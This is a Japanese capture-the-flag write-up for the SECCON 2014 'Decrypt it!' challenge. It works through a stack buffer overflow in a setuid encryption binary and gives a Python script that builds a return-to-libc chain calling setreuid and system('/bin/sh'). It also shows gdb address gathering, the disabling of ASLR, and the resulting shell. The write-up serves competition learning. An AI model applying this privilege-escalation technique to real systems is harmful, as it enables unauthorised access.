SECCON 2014 オンライン予選(日本語) Decrypt it! Write-up 裏面
表はここ。
暗号化プログラムと暗号化したファイルが与えられて、ファイルを復号する問題。暗号化のコマンドは
$ ./crypt 1 pub.txt flag.pdf flag.bin
cryptにはバッファーオーバーフローの脆弱性が存在するので、攻撃してみる。
[kusano@www10383uf Decrypt it!]$ ll total 704 -rwsr-xr-x 1 seccon seccon 13956 Aug 3 17:12 crypt -rw-rw-r-- 1 kusano kusano 701103 Aug 3 17:12 flag.pdf
この状況で、上記のコマンドでcryptに細工したpub.txtを渡し、uid=secconのシェルを起動することを目指す。
環境
cryptのスタックは実行不可で、SSP(スタックガード)があり、PIEは無効。
[kusano@www10383uf Decrypt it!]$ objdump -p crypt crypt: file format elf32-i386 Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x00002277 memsz 0x00002277 flags r-x LOAD off 0x00002ee0 vaddr 0x0804bee0 paddr 0x0804bee0 align 2**12 filesz 0x000001c0 memsz 0x000001cc flags rw- DYNAMIC off 0x00002ef8 vaddr 0x0804bef8 paddr 0x0804bef8 align 2**2 filesz 0x000000f8 memsz 0x000000f8 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x00001d94 vaddr 0x08049d94 paddr 0x08049d94 align 2**2 filesz 0x000000c4 memsz 0x000000c4 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rw- RELRO off 0x00002ee0 vaddr 0x0804bee0 paddr 0x0804bee0 align 2**0 filesz 0x00000120 memsz 0x00000120 flags r-- : [kusano@www10383uf Decrypt it!]$ objdump -d crypt : 8049b7d: 8b 94 24 ac 01 00 00 mov 0x1ac(%esp),%edx 8049b84: 65 33 15 14 00 00 00 xor %gs:0x14,%edx 8049b8b: 0f 84 91 00 00 00 je 8049c22 <uncompress@plt+0xe02> 8049b91: e9 87 00 00 00 jmp 8049c1d <uncompress@plt+0xdfd> : 8049c1d: e8 5e f1 ff ff call 8048d80 <__stack_chk_fail@plt> 8049c22: 8b 5d fc mov -0x4(%ebp),%ebx 8049c25: c9 leave 8049c26: c3 ret
ASLRは無効にする。後述するようにASLR有効な環境下では攻撃できなかった。
[kusano@www10383uf Decrypt it!]$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0
プログラムの解析
crypterのmain関数は次のような処理になっている。stripされているのでクラス名やメソッド名は適当。
// 0x080498b9 int main(int argc, char **argv) { int argc2 = argc; int mode = 0; if (argc<=4) return 1; mode = atoi(argv[1]); int key[16]; int keynum = 0; string str; ifstream stream; stream.open(argv[2]); while (!stream.eof()) { stream >> str; key[keynum++] = atoi(str.c_str()); } f.close(); Crypter crypter; if (mode!=0) { crypter.loadPublicKey(key); string plain(argv[3]); crypter.loadPlain(plain); crypter.encrypt(); crypter.save(argv[4], false); } else { if (crypter.loadPrivateKey(v)!=0) return -1; string cipher(argv[3]); crypter.loadCipher(cipher); crypter.decrypt(); crypter.save(argv[4], true); } return 0; }
スタック配置は次の通り。
esp+ 1c argv2 esp+ 20 key esp+ 60 crypter esp+ 7c str esp+ 80 plain esp+ 84 cipher esp+ 88 keynum esp+ 8c mode esp+ 94 stream esp+ 1ac カナリア esp+ 1b0 and $0xfffffff0,%esp でのズレ esp+ 1b4 ebx esp+ 1b8 ebp esp+ 1bc return address esp+ 1c0 argc esp+ 1c4 argv
攻略の方針
Return-to-libcで、
setreuid(secconのuid, -1); system("/bin/sh");
を実行する。
key以降の変数を任意の値に書き換えることができる。keynumの値を適切に書き換えることで、canaryを飛ばして、return addr以降に値を書き込める。keyとkeynumの間の変数のうち、str以外は初期化前なのでどんな値を書き込んでも構わない。strはバッファを指すポインタとなっているので、適切な値にしないとreturn前にプログラムが落ちてしまう。atoiは余計な文字列があっても無視するので、systemの引数に使用する文字列は数字の後ろに付ければ良い。
情報収集
ユーザーsecconのuid、setreuidのアドレス、systemのアドレス、strの値が必要。
[kusano@www10383uf Decrypt it!]$ id seccon uid=505(seccon) gid=506(seccon) groups=506(seccon) [kusano@www10383uf Decrypt it!]$ gdb --arg ./crypt 1 pub.txt flag.pdf flag.bin : (gdb) b *0x8049972 Breakpoint 1 at 0x8049972 (gdb) r Starting program: /home/kusano/seccon/Decrypt it!/crypt 1 pub.txt flag.pdf flag.bin Breakpoint 1, 0x08049972 in ?? () Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6_5.2.i686 libgcc-4.4.7-4.el6.i686 libstdc++-4.4.7-4.el6.i686 zlib-1.2.3-29.el6.i686 (gdb) p setreuid $1 = {<text variable, no debug info>} 0x68fc10 <setreuid> (gdb) p system $2 = {<text variable, no debug info>} 0x5f0210 <system> (gdb) x/x $esp+0x7c 0xffffd55c: 0x0804f184
それぞれ、505, 0x68fc10, 0x5f0210, 0x0804f184。
strのポインタは文字列を読み込むときにサイズが足りないと再確保されるので、一度文字列を読み込ませてから取得する。また攻撃する際には最初に長い文字列を読み込ませると、再確保によってアドレスが変わることが無くなる。
攻略
exploit.py
# coding: utf-8 cmd = "/bin/sh" uid = 505 setreuid = 0x0068fc10 system = 0x005f0210 strbuf = 0x0804f184 # 0の直後にコマンドの文字列を書き込むと # 大きな数字を読み込む際に上書きされてしまうので、空ける pad = 16 print "0" + "_"*(pad-1) + cmd for _ in range((0x7c-0x20)/4-1): print 0 print strbuf for _ in range((0x88-0x80)/4): print 0 # key[keynum]がリターンアドレスを指すようにする # 直後にkeynum++があるので、-1 print (0x1bc-0x20)/4-1 print setreuid # pop; pop; ret; # systemを呼び出す前にsetreuidの引数をクリアする print 0x080498b6 print uid print uid print system print 0 print strbuf + pad
[kusano@www10383uf Decrypt it!]$ python exploit.py > pub.txt [kusano@www10383uf Decrypt it!]$ cat pub.txt 0_______________/bin/sh 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 134541700 0 0 102 6880272 134518966 505 505 6226448 0 134541716 [kusano@www10383uf Decrypt it!]$ ./crypt 1 pub.txt flag.pdf flag.bin sh-4.1$ id uid=505(seccon) gid=500(kusano) groups=506(seccon),10(wheel),500(kusano)
ASLR
どうせなら、ASLRが有効な環境下で攻略したかったが、なかなか難しい。
Return-oriented Programmingをしようにも、プログラムが短いのでgadgetが足りない。
↑の攻撃コードはスタック位置には依存しておらず、libcの位置とstrのヒープ位置に依存している。libcの位置についてはASLRによるランダム化が比較的小さいので試行回数を増やせばいけそうだが、ヒープ位置が難しい。strが指しているバッファは単に文字列を格納するだけではなく、strが指している位置より前に文字列長やバッファサイズの情報が存在しているので、単に書き込み可能なアドレスで上書きするだけではダメ。
[kusano@www10383uf Decrypt it!]$ gdb --arg ./crypt 1 pub.txt flag.pdf flag.bin : (gdb) b *0x8049972 Breakpoint 1 at 0x8049972 (gdb) r : (gdb) x/x $esp+0x7c 0xffffd55c: 0x0804f184 (gdb) x/32x 0x0804f140 0x804f140: 0x00000000 0x00000000 0x00000000 0x00000000 0x804f150: 0x00000000 0x00000000 0x00000000 0x00000000 0x804f160: 0x00000000 0x00000000 0x00000000 0x00000000 0x804f170: 0x00000000 0x00000029 0x00000017 0x00000017 0x804f180: 0x00000000 0x5f5f5f30 0x5f5f5f5f 0x5f5f5f5f 0x804f190: 0x5f5f5f5f 0x6e69622f 0x0068732f 0x0001ee69 0x804f1a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804f1b0: 0x00000000 0x00000000 0x00000000 0x00000000